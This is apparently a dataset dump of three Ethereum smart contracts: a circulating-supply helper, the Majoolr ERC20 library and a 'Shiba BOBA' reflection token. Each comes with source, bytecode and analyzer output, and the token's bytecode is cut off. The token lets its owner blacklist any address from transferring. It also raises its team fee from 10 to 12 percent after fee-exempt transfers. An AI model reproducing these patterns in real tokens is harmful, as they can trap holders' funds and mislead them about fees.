ASGCirculatingSupplyContract { using SafeMath for uint256; bool public isInitialized; address public ASG; address public owner; address[] public nonCirculatingASGAddresses; constructor(address _owner) { owner = _owner; } function initialize(address _asg) external returns (bool) { require(msg.sender == owner, "caller is not owner"); require(isInitialized == false); ASG = _asg; isInitialized = true; return true; } function ASGCirculatingSupply() external view returns (uint256) { uint256 _totalSupply = IERC20(ASG).totalSupply(); uint256 _circulatingSupply = _totalSupply.sub(getNonCirculatingASG()); return _circulatingSupply; } function getNonCirculatingASG() public view returns (uint256) { uint256 _nonCirculatingASG; for ( uint256 i = 0; i < nonCirculatingASGAddresses.length; i = i.add(1) ) { _nonCirculatingASG = _nonCirculatingASG.add( IERC20(ASG).balanceOf(nonCirculatingASGAddresses[i]) ); } return _nonCirculatingASG; } function setNonCirculatingASGAddresses( address[] calldata _nonCirculatingAddresses ) external returns (bool) { require(msg.sender == owner, "Sender is not owner"); nonCirculatingASGAddresses = _nonCirculatingAddresses; return true; } function transferOwnership(address _owner) external returns (bool) { require(msg.sender == owner, "Sender is not owner"); owner = _owner; return true; } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c80638d397876116100665780638d397876146101285780638da5cb5b14610180578063c4d66de8146101b4578063e6622c701461020e578063f2fde38b1461029d57610093565b80631405ce2714610098578063392e53cd146100cc57806363700f92146100ec57806371e4eb641461010a575b600080fd5b6100a06102f7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100d461031d565b60405180821515815260200191505060405180910390f35b6100f461032e565b6040518082815260200191505060405180910390f35b610112610473565b6040518082815260200191505060405180910390f35b6101546004803603602081101561013e57600080fd5b8101908080359060200190929190505050610541565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610188610580565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101f6600480360360208110156101ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105a6565b60405180821515815260200191505060405180910390f35b6102856004803603602081101561022457600080fd5b810190808035906020019064010000000081111561024157600080fd5b82018360208201111561025357600080fd5b8035906020019184602083028401116401000000008311171561027557600080fd5b90919293919293905050506106ed565b60405180821515815260200191505060405180910390f35b6102df600480360360208110156102b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107ce565b60405180821515815260200191505060405180910390f35b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900460ff1681565b60008060005b60028054905081101561046b5761044e600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a082316002848154811061038f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561040457600080fd5b505afa158015610418573d6000803e3d6000fd5b505050506040513d602081101561042e57600080fd5b8101908080519060200190929190505050836108dd90919063ffffffff16565b91506104646001826108dd90919063ffffffff16565b9050610334565b508091505090565b600080600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156104de57600080fd5b505afa1580156104f2573d6000803e3d6000fd5b505050506040513d602081101561050857600080fd5b81019080805190602001909291905050509050600061053761052861032e565b8361096590919063ffffffff16565b9050809250505090565b6002818154811061055157600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461066b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f63616c6c6572206973206e6f74206f776e65720000000000000000000000000081525060200191505060405180910390fd5b6000151560008054906101000a900460ff1615151461068957600080fd5b81600060016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016000806101000a81548160ff02191690831515021790555060019050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f53656e646572206973206e6f74206f776e65720000000000000000000000000081525060200191505060405180910390fd5b8282600291906107c3929190610a6f565b506001905092915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610893576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f53656e646572206973206e6f74206f776e65720000000000000000000000000081525060200191505060405180910390fd5b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60008082840190508381101561095b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006109a783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506109af565b905092915050565b6000838311158290610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a21578082015181840152602081019050610a06565b50505050905090810190601f168015610a4e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b828054828255906000526020600020908101928215610afe579160200282015b82811115610afd57823573ffffffffffffffffffffffffffffffffffffffff168260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190610a8f565b5b509050610b0b9190610b0f565b5090565b5b80821115610b28576000816000905550600101610b10565b509056fea2646970667358221220859c87f66ccf21f1844c119570685a3b991c3fc5e63a3a11a748495f981143de64736f6c63430007050033
{"success": true, "error": null, "results": {}}
7,310
0x71ecde7c4b184558e8dba60d9f323d7a87411946
pragma solidity ^0.4.11; /** * @title ERC20Lib * @author Majoolr.io * * version 1.0.0 * Copyright (c) 2017 Majoolr, LLC * The MIT License (MIT) * https://github.com/Majoolr/ethereum-libraries/blob/master/LICENSE * * The ERC20 Library is inspired by advice offered by Aragon at * https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736 . * That version of the library has been modified to provide error messages * rather than throw errors. This allows the developer to decide how she wants * handle failed transactions. The developer can choose to assert a true return * value and allow automatic reversion of state changes or, if no state changes * have been made, she can trigger an event message to give the user a * descriptive outcome. * * Majoolr works on open source projects in the Ethereum community with the * purpose of testing, documenting, and deploying reusable code onto the * blockchain to improve security and usability of smart contracts. Majoolr * also strives to educate non-profits, schools, and other community members * about the application of blockchain technology. * For further information: majoolr.io, aragon.one * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ library BasicMathLib { event Err(string typeErr); /// @dev Multiplies two numbers and checks for overflow before returning. /// Does not throw but rather logs an Err event if there is overflow. /// @param a First number /// @param b Second number /// @return err False normally, or true if there is overflow /// @return res The product of a and b, or 0 if there is overflow function times(uint256 a, uint256 b) constant returns (bool err,uint256 res) { assembly{ res := mul(a,b) jumpi(allGood, or(iszero(b), eq(div(res,b), a))) err := 1 res := 0 allGood: } if (err) Err("times func overflow"); } /// @dev Divides two numbers but checks for 0 in the divisor first. /// Does not throw but rather logs an Err event if 0 is in the divisor. /// @param a First number /// @param b Second number /// @return err False normally, or true if `b` is 0 /// @return res The quotient of a and b, or 0 if `b` is 0 function dividedBy(uint256 a, uint256 b) constant returns (bool err,uint256 res) { assembly{ jumpi(e, iszero(b)) res := div(a,b) mstore(add(mload(0x40),0x20),res) return(mload(0x40),0x40) e: } Err("tried to divide by zero"); return (true, 0); } /// @dev Adds two numbers and checks for overflow before returning. /// Does not throw but rather logs an Err event if there is overflow. /// @param a First number /// @param b Second number /// @return err False normally, or true if there is overflow /// @return res The sum of a and b, or 0 if there is overflow function plus(uint256 a, uint256 b) constant returns (bool err, uint256 res) { assembly{ res := add(a,b) jumpi(allGood, and(eq(sub(res,b), a), gt(res,b))) err := 1 res := 0 allGood: } if (err) Err("plus func overflow"); } /// @dev Subtracts two numbers and checks for underflow before returning. /// Does not throw but rather logs an Err event if there is underflow. /// @param a First number /// @param b Second number /// @return err False normally, or true if there is underflow /// @return res The difference between a and b, or 0 if there is underflow function minus(uint256 a, uint256 b) constant returns (bool err,uint256 res) { assembly{ res := sub(a,b) jumpi(allGood, eq(and(eq(add(res,b), a), or(lt(res,a), eq(res,a))), 1)) err := 1 res := 0 allGood: } if (err) Err("minus func underflow"); } } library ERC20Lib { using BasicMathLib for uint256; struct TokenStorage { mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint totalSupply; } event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event ErrorMsg(string msg); /// @dev Called by the Standard Token upon creation. /// @param self Stored token from token contract /// @param _initial_supply The initial token supply function init(TokenStorage storage self, uint256 _initial_supply) { self.totalSupply = _initial_supply; self.balances[msg.sender] = _initial_supply; } /// @dev Transfer tokens from caller&#39;s account to another account. /// @param self Stored token from token contract /// @param _to Address to send tokens /// @param _value Number of tokens to send /// @return success True if completed, false otherwise function transfer(TokenStorage storage self, address _to, uint256 _value) returns (bool success) { bool err; uint256 balance; (err,balance) = self.balances[msg.sender].minus(_value); if(err) { ErrorMsg("Balance too low for transfer"); return false; } self.balances[msg.sender] = balance; //It&#39;s not possible to overflow token supply self.balances[_to] = self.balances[_to] + _value; Transfer(msg.sender, _to, _value); return true; } /// @dev Authorized caller transfers tokens from one account to another /// @param self Stored token from token contract /// @param _from Address to send tokens from /// @param _to Address to send tokens to /// @param _value Number of tokens to send /// @return success True if completed, false otherwise function transferFrom(TokenStorage storage self, address _from, address _to, uint256 _value) returns (bool success) { var _allowance = self.allowed[_from][msg.sender]; bool err; uint256 balanceOwner; uint256 balanceSpender; (err,balanceOwner) = self.balances[_from].minus(_value); if(err) { ErrorMsg("Balance too low for transfer"); return false; } (err,balanceSpender) = _allowance.minus(_value); if(err) { ErrorMsg("Transfer exceeds allowance"); return false; } self.balances[_from] = balanceOwner; self.allowed[_from][msg.sender] = balanceSpender; self.balances[_to] = self.balances[_to] + _value; Transfer(_from, _to, _value); return true; } /// @dev Retrieve token balance for an account /// @param self Stored token from token contract /// @param _owner Address to retrieve balance of /// @return balance The number of tokens in the subject account function balanceOf(TokenStorage storage self, address _owner) constant returns (uint256 balance) { return self.balances[_owner]; } /// @dev Authorize an account to send tokens on caller&#39;s behalf /// @param self Stored token from token contract /// @param _spender Address to authorize /// @param _value Number of tokens authorized account may send /// @return success True if completed, false otherwise function approve(TokenStorage storage self, address _spender, uint256 _value) returns (bool success) { self.allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /// @dev Remaining tokens third party spender has to send /// @param self Stored token from token contract /// @param _owner Address of token holder /// @param _spender Address of authorized spender /// @return remaining Number of tokens spender has left in owner&#39;s account function allowance(TokenStorage storage self, address _owner, address _spender) constant returns (uint256 remaining) { return self.allowed[_owner][_spender]; } }
0x6060604052361561005c5763ffffffff60e060020a6000350416632d0277b9811461005e57806343505a751461008c578063450087971461009c5780635bada338146100d057806388fd6510146100fe578063d1717fd41461012d575bfe5b610078600435600160a060020a0360243516604435610156565b604080519115158252519081900360200190f35b61009a600435602435610299565b005b610078600435600160a060020a03602435811690604435166064356102c0565b604080519115158252519081900360200190f35b610078600435600160a060020a0360243516604435610517565b604080519115158252519081900360200190f35b61011b600435600160a060020a0360243581169060443516610585565b60408051918252519081900360200190f35b61011b600435600160a060020a03602435166105b5565b60408051918252519081900360200190f35b600160a060020a0333166000908152602084905260408082205481518201839052815160e060020a63f4f3bdc1028152600481019190915260248101849052815183928392733e25cde3fb9c93e4c617fe91c8c0d6720c87d61e9263f4f3bdc192604480840193919291829003018186803b15156101d057fe5b6102c65a03f415156101de57fe5b50506040518051602090910151909350915050811561023c57604080516020808252601c908201526000805160206106168339815191528183015290516000805160206105d68339815191529181900360600190a160009250610290565b600160a060020a03338116600081815260208981526040808320869055938916808352918490208054890190558351888152935191936000805160206105f6833981519152929081900390910190a3600192505b50509392505050565b60028201819055600160a060020a03331660009081526020839052604090208190555b5050565b600160a060020a0380841660008181526001870160209081526040808320339095168352938152838220549282528790528281205483518401829052835160e060020a63f4f3bdc102815260048101919091526024810185905283519193849283928392733e25cde3fb9c93e4c617fe91c8c0d6720c87d61e9263f4f3bdc1926044808201939291829003018186803b151561035857fe5b6102c65a03f4151561036657fe5b5050604051805160209091015190945092505082156103c457604080516020808252601c908201526000805160206106168339815191528183015290516000805160206105d68339815191529181900360600190a16000945061050b565b60408051600090820152805160e060020a63f4f3bdc102815260048101869052602481018890528151733e25cde3fb9c93e4c617fe91c8c0d6720c87d61e9263f4f3bdc19260448082019391829003018186803b151561042057fe5b6102c65a03f4151561042e57fe5b50506040518051602090910151909450915050821561049e57604080516020808252601a908201527f5472616e73666572206578636565647320616c6c6f77616e63650000000000008183015290516000805160206105d68339815191529181900360600190a16000945061050b565b600160a060020a03808916600081815260208c8152604080832087905560018e01825280832033861684528252808320869055938b168083528d82529184902080548b01905583518a8152935191936000805160206105f6833981519152929081900390910190a3600194505b50505050949350505050565b600160a060020a033381166000818152600186016020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b9392505050565b600160a060020a0380831660009081526001850160209081526040808320938516835292905220545b9392505050565b600160a060020a0381166000908152602083905260409020545b929150505600fda92d3eab1d27b971923f5a2ea4107b7a0513584e8f3adf52ea0557e10e8e9eddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef42616c616e636520746f6f206c6f7720666f72207472616e7366657200000000a165627a7a72305820f55f928669c41482997d185d10286256cbefcb04fc6c0fd4cf6b513ff66a8ba30029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
7,311
0xd7a576962859a545451231d2ea2d55af483ac5ff
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ShibaBOBA is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Shiba BOBA"; string private constant _symbol = "ShiBOBA"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _teamFee = 12; _taxFee = 5; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (40 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e7a565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612981565b61045e565b6040516101789190612e5f565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a3919061301c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061292e565b61048d565b6040516101e09190612e5f565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613091565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a0a565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b1919061301c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d91565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e7a565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612981565b61098d565b60405161035b9190612e5f565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129c1565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a64565b6110ab565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128ee565b6111f4565b604051610418919061301c565b60405180910390f35b60606040518060400160405280600a81526020017f536869626120424f424100000000000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161379860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f5c565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f5c565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6c565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f5c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f536869424f424100000000000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f5c565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a646133d